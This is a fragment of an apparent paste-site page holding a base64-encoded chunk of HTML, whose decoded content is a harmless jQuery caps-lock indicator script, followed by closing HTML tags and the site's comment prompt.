WUrJyJdJyk7JCh3aW5kb3cpLmJpbmQoImNhcHNPbiIsZnVuY3Rpb24oKXtjb21wb25lbnRzLnV0aWxzLnNldENhcHNsb2NrU3RhdGUoIm9uIil9KTskKHdpbmRvdykuYmluZCgiY2Fwc09mZiIsZnVuY3Rpb24oKXtjb21wb25lbnRzLnV0aWxzLnNldENhcHNsb2NrU3RhdGUoIm9mZiIpfSk7DQokKHdpbmRvdykuYmluZCgiY2Fwc1Vua25vd24iLGZ1bmN0aW9uKCl7Y29tcG9uZW50cy51dGlscy5zZXRDYXBzbG9ja1N0YXRlKCJ1bmtub3duIil9KTskKHdpbmRvdykuY2Fwc2xvY2tzdGF0ZSgpfX19LHV0aWxzOntzZXRDYXBzbG9ja1N0YXRlOmZ1bmN0aW9uKGEpeyQoImh0bWwiKS5yZW1vdmVDbGFzcygiY2Fwc2xvY2stb24gY2Fwc2xvY2stb2ZmIGNhcHNsb2NrLXVua25vd24iKTskKCJodG1sIikuYWRkQ2xhc3MoImNhcHNsb2NrLSIrYSl9fX0pOzwvc2NyaXB0Pg0KICAgICAgICAgICAgICAgICAgICA8L2JvZHk+DQogICAgPC9odG1sPg0KICAgIDxwPiZuYnN="text/html; charset=iso-8859-1">
  5. </head>
  6. </body>
  7. </html>
Add Comment
Please, Sign In to add comment